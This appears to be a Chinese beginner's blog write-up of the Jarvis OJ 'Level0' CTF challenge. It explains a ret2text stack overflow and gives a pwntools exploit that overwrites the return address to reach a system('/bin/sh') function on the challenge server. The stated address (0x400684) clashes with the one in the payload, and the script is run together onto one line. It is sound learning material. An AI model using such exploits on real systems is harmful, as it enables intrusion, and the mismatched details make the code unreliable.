题目来源:Jarvis OJ https://www.jarvisoj.com/challenges

题目名称:Level0

题目介绍:

属于栈溢出中的ret2text 意思是Return to text 当程序中有可利用的危险函数 控制程序的返回地址到原本的函数 实现溢出利用

基础过程(看个人习惯):

运行程序 查看程序流程

file 查看文件内存类型

checksec 查看文件保护机制

ida 反编译程序

分析可疑漏洞点 确定攻击思路 编写poc

查看程序运行流程

​​​编辑​

file 查看文件内存类型

不同的系统,内存的构造不同,堆栈相关的寄存器操作主要是EBP和ESP寄存器,比作指针来说,ESP寄存器总是指向堆栈的栈顶,当执行PUSH命令向堆栈压入数据的时候,ESP减4,然后把数据拷贝到ESP指向的位置,执行POP命令的时候,首先把ESP指向的数据拷贝到内存/寄存器中,然后ESP+4,而堆栈在内存中的地址从高向低扩展,因此参数或者局部的变量总是通过EBP加减一定的偏移地址来访问的。

32位 4偏移量

64位 8偏移量

栈溢出漏洞,通常需要确定填充长度,计算要操作的地址和覆盖地址的距离,栈基和栈顶的位置,通过上述的偏移量计算获得,根据现实情况去覆盖特定的变量或者地址内容。

得知是64位文件

查看文件保护机制

NX堆栈禁止执行

PIE位置无关可执行文件

Canary堆栈溢出哨兵

Symbol符号

RELRO(got写保护)全局偏移表动态解析函数 地址随机化

只开启了一个NX,没有开启Stack Canary,这个功能在函数执行前先在函数调用位置插入cookie标记,当函数返回调用的时候验证cookie信息是否合法,不合法就停止程序运行,但是如果溢出中,也覆盖了cookie,就会绕过。PIE意为地址无关的可执行文件,每次加载程序的时候都变换text、 data、bss 等段的加载基地址,使得攻击者难以定位相应的基地址执行溢出。

扔到ida看一下 直接进入min函数反汇编 发现会打印helloword后返回了一个函数

​编辑

查看这个函数 rbp-80h //该字符串距离ebp的长度为 0x80h

ebp

基址指针寄存器 指向系统栈最上面一个栈帧的底部(堆栈寻址)

主要作用是保存恢复堆栈 以便于传递参数给函数

read函数没有做过滤,会读取其中的内容直到回车。

该文件是64位的 距离ebp的长度为0x80 距离esp那就有0x8b

64位的情况下为8byte

pop ebp;出栈 栈扩大4byte

push ebp;出栈,栈减少4byte

那么相应的栈结构为(图是网上偷的)

发现这里有一个callsystem 内置系统函数system('/bin/sh')执行系统命令

地址0x400684 加上这个地址覆盖为我们想要返回读取的地址

payload = 'a'*0x80 + 'b'*8 + p64(0x400596)

此时的栈结构是

在把这一串字符串发送到程序内 计算机的内存中每个值都是按照字节存储的  一般情况下都是小端存储

什么是小端存储:

在小端存储模式下 数据的最低有效字节会被存储在数据的最低地址处,最高有效字节反之。

既0x0804843B 在内存中的形式是 \x3b\x84\x04\x08

使用pwntools把字节作为字符传递进去,也就是把字符串转换为二进制。

from pwn import *
import pwn r = pwn.remote('pwn2.jarvisoj.com', 9881) # buf rbp callsystem
payload = 'a'*0x80 + 'b'*8 + p64(0x400596) r.sendline(payload)
r.interactive()

​​

以上内容纯小白学习过程 如有错误请不吝赐教

PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]的更多相关文章

  1. (原创)超详细一步一步在eclipse中配置Struts2环境,无基础也能看懂

    (原创)超详细一步一步在eclipse中配置Struts2环境,无基础也能看懂 1. 在官网https://struts.apache.org下载Struts2,建议下载2.3系列版本.从图中可以看出 ...

  2. kali中安装漏洞靶场Vulhub(超详细)

    前言 我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用.复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力.下面我在kali中演示如何详细安装漏洞靶场Vulhub. 什么是 ...

  3. c语言面试宝典(经典,超详细)

    c语言面试宝典(经典,超详细) 2018年08月25日 09:32:19 chengxuyuan997 阅读数:7799   摘自:https://blog.csdn.net/chengxuyuan9 ...

  4. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  5. 数据挖掘领域十大经典算法之—C4.5算法(超详细附代码)

    https://blog.csdn.net/fuqiuai/article/details/79456971 相关文章: 数据挖掘领域十大经典算法之—K-Means算法(超详细附代码)        ...

  6. 数学规划求解器lp_solve超详细教程

    前言 最近小编学了运筹学中的单纯形法.于是,很快便按奈不住跳动的心.这不得不让我拿起纸和笔思考着,一个至关重要的问题:如何用单纯形法装一个完备的13? 恰巧,在我坐在图书馆陷入沉思的时候,一位漂亮的小 ...

  7. Java多线程学习(吐血超详细总结)

    Java多线程学习(吐血超详细总结) 林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 写在前面的话:此文只能说是java多线程的一个入门,其实 ...

  8. [转帖]超详细的PostgreSQL体系结构总结,值得收藏

    超详细的PostgreSQL体系结构总结,值得收藏 https://www.toutiao.com/i6715390855772897800/ 原创 波波说运维 2019-07-26 00:03:00 ...

  9. [转帖]超详细的EXPDP、IMPDP规范及常用技巧总结

    超详细的EXPDP.IMPDP规范及常用技巧总结 https://www.toutiao.com/i6727232212850180619/ 原创 波波说运维 2019-08-24 00:06:00 ...

  10. [转帖]超详细的Oracle数据库在不同损坏级别的恢复总结

    超详细的Oracle数据库在不同损坏级别的恢复总结 原创 波波说运维 2019-07-20 00:02:00 概述 在 DBA 的日常工作中不可避免存在着数据库的损坏,今天主要介绍 Oracle 数据 ...

随机推荐

  1. Linux驱动|cdev_init、cdev_alloc区别

    这两个函数是字符设备初始化相关的内核函数. 要想了解这两个函数,必须要知道字符设备的架构,以及字符设备创建的流程. 关于字符设备可以参考下面这篇文章 <手把手教Linux驱动3-之字符设备架构详 ...

  2. 关于Arrays.asList返回List无法新增和删除?

    关于Arrays.asList返回的List无法新增和删除? 这个是在写项目的时候发现的,然后就分析了一下源码,得其内部原理 复现代码示例: public class ArraysAsList { p ...

  3. esp32挂esphome

    esp32挂esphome 使用docker创建容器 docker run -d --name='esphome' \ --restart=always \ -p 6052:6052 \ -e TZ= ...

  4. 推荐一个Python打造的开源自动驾驶平台:Donkeycar!

    1.引言 随着人工智能和自动驾驶技术的飞速发展,自动驾驶车辆的研究和开发成为了科技领域的热点.对于初学者.爱好者和学生而言,一款易于上手且功能强大的自动驾驶平台显得尤为重要.Donkeycar正是这样 ...

  5. 图穷匕见-所有反DDD模式都是垃圾

    本文书接上回<主观与客观,破除DDD凭经验魔咒>,关注公众号(老肖想当外语大佬)获取信息: 最新文章更新: DDD框架源码(.NET.Java双平台): 加群畅聊,建模分析.技术实现交流: ...

  6. Google – Reviews

    前言 继上一篇 Facebook – Reviews (Graph API) 后, 这篇继续介绍另一个 Reviews 大平台 Google Reviews. 想通过 API 获取 Google Re ...

  7. MDC – Text field

    前言 Angular Material 只有 Form field, 但 Material Design 有份 Text field 和 Form field, Form field 是给 check ...

  8. DTO转VO工具

    data工具,实现了对象拷贝 DTO -> VO 只需要实现一个类即可 data-utils data工具,实现了对象拷贝DTO -> VO 解决的问题 Mapstruct需要安插件!!! ...

  9. 月薪20k以上的软件测试工程师的必备知识点?全部拿走吧!

    我们都知道作为一个软件测试工程师,入门相对比较简单,但是要达到技术精通,甚至薪资能达到20k以上的话,那绝对需要对测试开发有一个系统的了解,以及对这些系统的知识能够熟练掌握. 今天的话是我从阿里以为做 ...

  10. QT硬件异构计算

    QT硬件异构计算 使用AI技术辅助生成 1 QT硬件异构计算概述 1.1 硬件异构计算概念 1.1.1 硬件异构计算概念 硬件异构计算概念 <QT硬件异构计算>正文 硬件异构计算概念 在进 ...